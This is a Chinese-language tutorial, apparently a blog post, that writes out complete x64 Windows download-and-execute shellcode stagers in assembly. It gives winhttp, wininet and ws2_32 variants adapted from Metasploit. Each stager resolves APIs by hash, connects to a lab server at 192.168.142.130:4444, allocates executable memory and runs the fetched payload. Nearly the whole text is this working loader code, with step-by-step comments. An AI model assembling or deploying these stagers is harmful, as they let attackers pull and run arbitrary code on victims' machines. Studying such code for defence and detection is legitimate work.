1. 导言
在上一篇文章中,说明了如何实现X86架构远程下载的shellcode,本章主要实现X64架构远程下载的shellcode:winhttp、wininet、wsock32三个版本。
我们还是借鉴msf-shellcode-block的代码,部分地方有修改。
shellcode源码包下载:https://github.com/peiqi0818/shellcode-list
2. 远程下载shellcode(winhttp版)
本节调用WIndows API来实现winhttp版本的X64架构远程下载shellcode。
2.1 实现流程
X64的远程下载shellcode和X86的流程基本一致,同样是API的组合,可以直接使用寄存器传参。
- 1、调用cld指令清除方向标志,将栈指针对齐到16字节边界;
- 2、获取LoadLibraryA函数地址,加载winhttp.dll库;
- 3、调用WinHttpOpen函数初始化WinHttp会话句柄(作为起点);
- 4、调用WinHttpConnect函数指定目标服务器的地址和端口,返回一个连接句柄;
- 5、调用WinHttpOpenRequest函数创建HTTP请求句柄,指定HTTP请求所需的基本信息;
- 6、调用WinHttpSendRequest函数发送请求到目标服务器;
- 7、调用WinHttpReceiveResponse函数等待来自服务器的响应;
- 8、调用VirtualAlloc函数分配内存存储shellcode;
- 9、调用WinHttpReadData函数分段读取响应主体中的数据;
- 10、跳转到从服务器下载的shellcode执行;
- 11、错误情况调用ExitProcess函数退出程序
Windows API参考链接:Win32-API-winhttp.h
(1)第一步:调用cld指令清除方向标志,将栈指针对齐到16字节边界
cld ;清除方向标志,标志位DF=0
and rsp, 0FFFFFFFFFFFFFFF0h ;栈指针16字节对齐,X64调用约定的强制要求
(2)第二步:获取LoadLibraryA函数地址,加载winhttp.dll库
push 0 ; 对齐
mov r14, 'ptthniw' ; 字符串'winhttp\0'
push r14 ; 将字符串压栈,此时rsp指向"winhttp\0"的地址
mov rcx, rsp ; rcx = 字符串地址,作为LoadLibraryA的参数
mov r10, 0DEC21CCDh ; 计算出kernel32.dll+LoadLibraryA的哈希值
call get_proc_addr_by_hash ; 调用哈希解析函数获取LoadLibraryA地址,加载winhttp.dll库
(3)第三步:调用WinHttpOpen函数初始化WinHttp会话句柄
xor rcx,rcx ; pszAgentW=NULL
xor rdx,rdx ; dwAccessType=0
xor r8,r8 ; pszProxyW=NULL
xor r9,r9 ; pszProxyBypassW=NULL
push 1 ; dwFlags=1,表示异步操作
push r9 ; 对齐
mov r10,332D226Eh ; 计算winhttp.dll+WinHttpOpen的hash值
call get_proc_addr_by_hash ; 调用WinHttpOpen函数
jmp get_server_host ;跳转标号
get_server_host:
call winHttpConnect
server_host:
dw '1','9','2','.','1','6','8','.','1','4','2','.','1','3','0',0 ; 服务器的IP地址
(4)第四步:调用WinHttpConnect函数指定目标服务器的地址和端口
winHttpConnect:
mov rcx,rax ; hSession=调用WinHttpOpen函数返回的句柄
pop rdx ; pswzServerName=弹出存放在栈上的目标服务器主机名地址
mov r8,4444 ; nServerPort=4444,端口号
xor r9,r9 ; dwReserved=0,保留字段
mov r10,39AE9EB0h ; 计算winhttp.dll+WinHttpConnect函数的hash值
call get_proc_addr_by_hash ; 调用WinHttpConnect函数
(5)第五步:调用WinHttpOpenRequest函数创建HTTP请求句柄
call winHttpOpenRequest
server_uri:
dw '/','s','h','e','l','l','c','o','d','e','_','w','i','n','6','4','_','4','0','0','h','_','2','0','0','h','.','b','i','n', 0
winHttpOpenRequest:
mov rcx,rax ; hConnect=调用WinHttpConnect函数返回的句柄
xor rdx,rdx ; pwszVerb=NULL(默认为GET)
pop r8 ; pwszObjectName=弹出的uri路径
xor r9,r9 ; pwszVersion=NULL(默认HTTP/1.1)
push r9 ; dwFlags=0
push r9 ; pwszAcceptTypes=NULL
push r9 ; pwszReferrer=NULL
push r9 ; 对齐
mov r10,0D3431402h ; 调用winhttp.dll+WinHttpOpenRequest函数的hash值
call get_proc_addr_by_hash ; 调用WinHttpOpenRequest函数
xchg rsi, rax ; 保存调用WinHttpOpenRequest函数返回的请求句柄到rsi
(6)第六步:调用WinHttpSendRequest函数发送请求到目标服务器
mov rcx,rsi ; hRequest=调用WinHttpOpenRequest函数返回的句柄
xor rdx,rdx ; lpszHeaders=NULL
xor r8,r8 ; dwHeadersLength=0
xor r9,r9 ; lpOptional=NULL
push r9 ; dwContext=NULL
push r9 ; dwTotalLength=0
push r9 ; dwOptionalLength=0
push r9 ; 对齐
mov r10,094B5BFFh ; 计算winhttp.dll+WinHttpSendRequest的hash值
call get_proc_addr_by_hash ; 调用WinHttpSendRequest函数,返回值在rax中
(7)第七步:调用WinHttpReceiveResponse函数等待来自服务器的响应
mov rcx,rsi ; hRequest=WinHttpOpenRequest函数返回的请求句柄
xor rdx,rdx ; lpReserved=NULL
mov r10,0E82D8B6Fh ; 计算winhttp.dll+WinHttpReceiveResponse函数的hash值
call get_proc_addr_by_hash ; 调用WinHttpReceiveResponse函数等待响应,返回值在rax中
test eax,eax ; 检测是否成功
jz failure ; 失败则跳转到failure标号处退出程序
(8)第八步:调用VirtualAlloc函数分配内存存储shellcode
xor rcx, rcx ; lpAddress = NULL(由系统选择地址)
mov rdx, 00400000h ; dwSize = 4MB(分配内存大小)
mov r8, 1000h ; flAllocationType = MEM_COMMIT(提交物理内存)
mov r9, 40h ; flProtect = PAGE_EXECUTE_READWRITE(可读可写可执行)
mov r10, 0BCEF49D9h ; 计算kernel32.dll+VirtualAlloc函数的哈希值
call get_proc_addr_by_hash ; 调用VirtualAlloc函数分配内存,返回值存在rax(分配内存的基地址)
(9)第九步:调用WinHttpReadData函数分段读取响应主体中的shellcode
download_prep:
xchg rax, rbx ; 将基地址存入rbx
push rbx ; 对齐
push rbx ; 占位符(用于存储WinHttpReadData返回的已读字节数)
mov rdi, rsp ; rdi指向已读字节数变量(栈地址)
download_more:
mov rcx,rsi ; hRequest=调用WinHttpOpenRequest函数返回的句柄
mov rdx,rbx ; lpBuffer=VirtualAlloc函数分配的内存基地址
mov r8, 8192 ; dwNumberOfBytesToRead=读取的字节数8KB
mov r9,rdi ; lpdwNumberOfBytesRead=指向接收已读字节数
mov r10,0F5B42CD6h ; 计算winhttp.dll+WinHttpReadData的hash值
call get_proc_addr_by_hash ; 调用WinHttpReadData函数
add rsp, 32 ; 清理影子空间
test eax,eax
jz failure
mov ax, word ptr [rdi] ; 读取已读字节数
add rbx,rax ; 移动缓冲区指针到下一个写入位置
test eax,eax ; 检查是否已读取完毕(字节数为0)
jnz download_more
pop rax ; clear the temporary storage
pop rax ; fucking 对齐
(10)第十步:跳转到从服务器下载的shellcode执行
execute_stage:
ret ; 跳转到下载的Shellcode执行
(11)第十一步:错误情况调用ExitProcess函数退出程序
failure:
mov r10,2E3E5B71h ; 计算kernel32.dll+ExitProcess函数的哈希值
call get_proc_addr_by_hash ; 调用ExitProcess函数
2.2 运行测试
同X86版本的一致,Python开启服务,远程下载之前写的64位弹窗程序并运行:

3. 远程下载shellcode(wininet版)
本节调用WIndows API来实现wininet版本的X64架构远程下载shellcode。
3.1 实现流程
- 1、调用cld指令清除方向标志,将栈指针对齐到16字节边界;
- 2、获取LoadLibraryA函数地址,加载wininet.dll库;
- 3、调用InternetOpenA函数初始化应用程序对Internet函数的使用;
- 4、调用InternetConnectA函数指定目标服务器的地址和端口,返回一个连接句柄;
- 5、调用HttpOpenRequestA函数创建HTTP请求句柄,指定HTTP请求所需的基本信息;
- 6、调用HttpSendRequestA函数发送请求到目标服务器;
- 7、调用VirtualAlloc函数分配内存存储shellcode;
- 8、调用InternetReadFile函数分段读取响应主体中的数据;
- 9、跳转到从服务器下载的shellcode执行;
- 10、错误情况调用ExitProcess函数退出程序
基本上是API的组合实现:同winhttp版本一致,寄存器与栈组合传参-调用hash函数获取地址。
Windows API参考链接:Win32-API-wininet.h
(1)第一步:调用cld指令清除方向标志,将栈指针对齐到16字节边界
cld ;清除方向标志,标志位DF=0
and rsp, 0FFFFFFFFFFFFFFF0h ;栈指针16字节对齐,X64调用约定的强制要求
(2)第二步:获取LoadLibraryA函数地址,加载wininet.dll库
push 0 ; 对齐
mov r14, 'teniniw' ; 构造字符串'wininet\0'
push r14 ; 将字符串压栈,此时rsp指向"wininet\0"的地址
mov rcx, rsp ; rcx=字符串地址,作为LoadLibraryA的参数
mov r10, 0DEC21CCDh ; 计算kernel32.dll+LoadLibraryA函数的哈希值
call get_proc_addr_by_hash ; 调用哈希解析函数获取LoadLibraryA地址并加载wininet
(3)第三步:调用InternetOpenA函数初始化应用程序对Internet函数的使用
xor rcx,rcx ; lpszAgent=NULL
xor rdx,rdx ; dwAccessType=0
xor r8,r8 ; lpszProxy=NULL
xor r9,r9 ; lpszProxyBypass=NULL
push r9 ; dwFlags=0
push r9 ; 对齐
mov r10, 0363799Dh ; 计算wininet.dll+InternetOpenA的哈希值
call get_proc_addr_by_hash ; 调用InternetOpenA函数初始化,返回值在rax中
jmp get_server_host ; 跳转至设置服务器主机名处的标号
get_server_host:
call internetConnectA
server_host:
db '192.168.142.130',0 ;服务器的IP地址
(4)第四步,调用InternetConnectA函数指定目标服务器的地址和端口
internetConnectA:
pop rdx ; lpszServerName=弹出存放在栈上的目标服务器主机名地址
mov rcx,rax ; hInternet=InternetOpenA函数返回的句柄
mov r8,4444 ; nServerPort=4444,端口号
xor r9,r9 ; lpszUserName=NULL(匿名)
push r9 ; dwContext=NULL
push r9 ; dwFlags=0
push 3 ; dwService=INTERNET_SERVICE_HTTP
push r9 ; lpszPassword=NULL
mov r10, 2289ACBAh ; 计算wininet.dll+InternetConnectA函数的哈希值
call get_proc_addr_by_hash ;调用InternetConnectA函数,返回连接句柄在rax中
(5)第五步,调用HttpOpenRequestA函数创建HTTP请求句柄
call httpOpenRequestA ; 调用以将返回地址压栈,后续弹出uri路径
server_uri:
db '/shellcode_win64_400h_200h.bin',0 ; 定义请求的URI路径(以空字符结尾)
httpOpenRequestA:
mov rcx,rax ; hConnect=调用InternetConnectA函数返回的句柄
xor rdx,rdx ; lpszVerb=NULL(默认GET方法)
pop r8 ; lpszObjectName=server URI(栈中弹出的edi的值)
xor r9,r9 ; lpszVersion=NULL(默认HTTP/1.1)
push r9 ; dwContext=NULL
push 80000000h ; dwFlags = INTERNET_FLAG_RELOAD(强制重新下载)
push r9 ; lplpszAcceptTypes=NULL
push r9 ; lpszReferrer=NULL
mov r10,9718794Eh ; 计算wininet.dll+HttpOpenRequestA的哈希值
call get_proc_addr_by_hash ; 调用HttpOpenRequestA函数,返回请求句柄在rax中
mov rsi, rax ; 将请求句柄保存到rsi寄存器(HttpOpenRequestA函数返回值)
(6)第六步:调用HttpSendRequestA函数发送请求到目标服务器
httpsendrequest:
mov rcx,rsi ; hRequest=调用HttpOpenRequestA函数返回的请求句柄
xor rdx,rdx ; lpszHeaders=NULL
xor r8,r8 ; dwHeadersLength=0
xor r9,r9 ; lpOptional=NULL
push r9 ; dwOptionalLength=0
push r9 ; 对齐
mov r10,0D7022990h ; 计算wininet.dll+HttpSendRequestA的哈希值
call get_proc_addr_by_hash ; 调用HttpSendRequestA函数发送请求,返回值存放在eax中
test eax,eax ; 检测是否成功
jz failure ; 失败则跳转到failure标号处退出程序
(7)第七步:调用VirtualAlloc函数分配内存存储shellcode
allocate_memory:
xor rcx,rcx ; lpAddress=NULL(由系统自动分配)
mov rdx,00400000h ; dwSize=4Mb
mov r8,1000h ; flAllocationType=MEM_COMMIT(提交物理内存)
mov r9,40h ; flProtect=PAGE_EXECUTE_READWRITE(可执行可读可写)
mov r10,0BCEF49D9h ; 计算出kernel32.dll+VirtualAlloc函数的哈希值
call get_proc_addr_by_hash ; 调用VirtualAlloc函数分配内存,返回值存在rax(分配内存的基地址)
(8)第八步:调用InternetReadFile函数分段读取响应主体中的 shellcode
download_prep:
xchg rax,rbx ; rbx=分配的内存基地址
push rbx ; 保存基址到栈
push rbx ; 临时占位符(用于存储已读字节数)
mov rdi,rsp ; rdi指向已读字节变量的地址
download_more:
mov rcx,rsi ; hRequest=WinHttpOpenRequest函数返回的请求句柄
mov rdx,rbx ; lpBuffer=当前写入位置
mov r8,8192 ; dwNumberOfBytesToRead=8KB(每次读取8KB)
mov r9,rdi ; lpNumberOfBytesRead=接收已读字节数
mov r10,3E73B975h ; 计算出wininet.dll+InternetReadFile函数的哈希值
call get_proc_addr_by_hash ; 读取数据到缓冲区
add rsp,32 ; 清理影子空间
test eax,eax ; 检查是否读取成功
jz failure ; 失败则跳转错误处理
mov ax, word ptr [rdi] ; 读取本次实际读取的字节数(低16位)
add rbx,rax ; 移动缓冲区指针到下一个写入位置:buffer += bytes_received
test rax,rax ; 检查是否已读取完毕(字节数为0)
jnz download_more ; 未完成则继续读取
pop rax ; 清理栈上的临时占位符
pop rax ; 对齐
(9)第九步:跳转到从服务器下载的 shellcode 执行
execute_stage:
ret ; ret等效于pop+jmp,执行到此次时,esp指向缓冲区的地址
(10)第十步:错误情况调用 ExitProcess 函数退出程序
failure:
mov r10,2E3E5B71h ; 计算kernel32.dll+ExitProcess函数的哈希值
call get_proc_addr_by_hash ;调用ExitProcess函数退出程序
3.2 运行测试
同X86版本的一致,Python开启服务,远程下载之前写的64位弹窗程序并运行:

4. 远程下载shellcode(ws2_32版)
ws2_32.dll是Windows平台网络编程(Socket)依赖的核心动态原生库。本节调用WIndows Socket编程来实现 ws2_32版本的X64架构远程下载 shellcode。
4.1 实现流程
- 1、调用cld指令清除方向标志,将栈指针对齐到16字节边界;
- 2、获取LoadLibraryA函数地址,加载ws2_32.dll库;
- 3、调用WSAStartup函数启动进程对winsock.dll的使用;
- 4、调用WSASocketA函数创建一个套接字socket;
- 5、调用connect函数与指定的套接字建立连接;
- 6、清栈操作;
- 7、调用VitualAlloc函数申请一块可读可写可执行的内存(缓冲区);
- 8、调用recv函数从已连接的套接字接收传入的数据;
- 9、跳转到从服务器下载的 shellcode 执行;
- 10、错误情况调用 ExitProcess 函数退出程序;
基本上是 API 的堆叠实现:寄存器传参 – 调用 hash 函数获取地址。
Windows API 参考链接:Win32-API-winsock2.h
(1)第一步:调用cld指令清除方向标志,将栈指针对齐到16字节边界
cld ;清除方向标志,标志位DF=0
and rsp, 0FFFFFFFFFFFFFFF0h ;栈指针16字节对齐,X64调用约定的强制要求
(2)第二步:获取LoadLibraryA函数地址,加载ws2_32.dll库
push 0 ; 对齐
mov r14, '23_2sw' ; 字符串'ws2_32\0'
push r14 ; 将字符串压栈,此时rsp指向"ws2_32\0"的地址
mov rcx, rsp ; rcx = 字符串地址,作为LoadLibraryA的参数
mov r10, 0DEC21CCDh ; 计算出kernel32.dll+LoadLibraryA的哈希值
call get_proc_addr_by_hash ; 调用哈希解析函数获取LoadLibraryA地址,加载winhttp.dll库
(3)第三步:调用WSAStartup函数启动进程对winsock.dll进行初始化
sub rsp, 400+8 ; WSAData结构体大小400字节,8个字节对齐
mov r13,rsp ; r13保存WSAData结构指针
mov r12,828EA8C05C110002h ; 构造sockaddr_in结构:192.168.142.130:4444, AF_INET
push r12 ; 压栈保存sockaddr_in结构
mov r12,rsp ; r12保存sockaddr_in结构指针
mov rdx,r13 ; rdx = WSAData结构指针
push 0101h ; Winsock 1.1版本
pop rcx ; rcx = 0101h
mov r10,78A22668h ; 计算ws2_32.dll+WSAStartup的哈希值
call get_proc_addr_by_hash ; 调用WSAStartup函数对winsock.dll进行初始化
test eax,eax ; 检测是否成功
jnz failure ; 跳转错误处理
(4)第四步:调用WSASocketA函数创建一个套接字socket
mov rcx,2 ; af=2=AF_INET,即IPv4
mov rdx,1 ; type=1=SOCK_STREAM (TCP)
xor r8,r8 ; protocol=0
xor r9,r9 ; lpProtocolInfo=NULL
push r9 ; g=0
push r9 ; dwFlags=0
mov r10,5915B629h ; 计算ws2_32.dll+WSASocketA的哈希值
call get_proc_addr_by_hash ; 调用WSASocketA函数创建一个套接字socket
xchg rdi,rax ; 保存套接字到rdi中
(5)第五步:调用connect函数与指定的套接字建立连接
mov rcx,rdi ; s=套接字句柄
mov rdx,r12 ; name=sockaddr_in结构指针
push 16 ; namelen=sockaddr_in结构长度
pop r8 ; r8 = 16
mov r10,0D9AB4BD8h ; 计算ws2_32.dll+connect的哈希值
call get_proc_addr_by_hash ; 调用connect函数
test eax,eax ; 检测是否成功
jnz failure ; 错误跳转
(6)第六步:清栈操作
add rsp, ((400+8)+(5*8)+(4*32))
(7)第七步:调用VitualAlloc函数申请一块可读可写可执行的内存(缓冲区)
allocate_memory:
xor rcx,rcx ; lpAddress=NULL(由系统自动分配)
mov rdx,00400000h ; dwSize=4Mb
mov r8,1000h ; flAllocationType=MEM_COMMIT(提交物理内存)
mov r9,40h ; flProtect=PAGE_EXECUTE_READWRITE(可执行可读可写)
mov r10,0BCEF49D9h ; 计算出kernel32.dll+VirtualAlloc函数的哈希值
call get_proc_addr_by_hash ; 调用VirtualAlloc函数分配内存,返回值存在rax(分配内存的基地址)
(8)第八步:调用recv函数从已连接的套接字接收传入的数据
read_pre:
xchg rax,rbx ; rbx = 分配的内存基地址
push rbx ; 将保存基地址到栈(后续用于跳转)
read_more:
mov rcx,rdi ; 套接字句柄
mov rdx,rbx ; 当前写入指针
mov r8,8192 ; 每次读取8192字节
xor r9,r9 ; flags = 0
mov r10,0D7FF7F41h ; 计算ws2_32.dll+recv函数的哈希值
call get_proc_addr_by_hash ; 调用recv函数
add rsp, 32 ; 清理影子空间
add rbx,rax ; 移动写入指针
test eax,eax ; 检查接收字节数
jnz read_more ; 未接收完成继续接收直到返回0
(9)第九步:跳转到从服务器下载的 shellcode 执行
execute_stage:
ret
(10)第十步:错误情况调用 ExitProcess 函数退出程序
Exit:
mov r10,2E3E5B71h ; 计算kernel32.dll+ExitProcess的哈希值
call get_proc_addr_by_hash ; 调用ExitProcess函数终止进程
4.2 运行测试
新建一个Python的服务器端文件server.py,运行远程下载的shellcode:

5. 参考链接
- msf-shellcode-win-x64:https://github.com/rapid7/metasploit-framework/blob/master/external/source/shellcode/windows/x64/src/block/block_api.asm
- msf-shellcode-win-x64-block:https://github.com/rapid7/metasploit-framework/blob/master/external/source/shellcode/windows/x64/src/block
- x86 Assembly Guide:https://www.cs.virginia.edu/~evans/cs216/guides/x86.html
- Windows shellcode 开发入门 – 第三部分:https://securitycafe.ro/2016/02/15/introduction-to-windows-shellcode-development-part-3/
- Windows Shellcode开发:https://xz.aliyun.com/news/17961
1. 一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。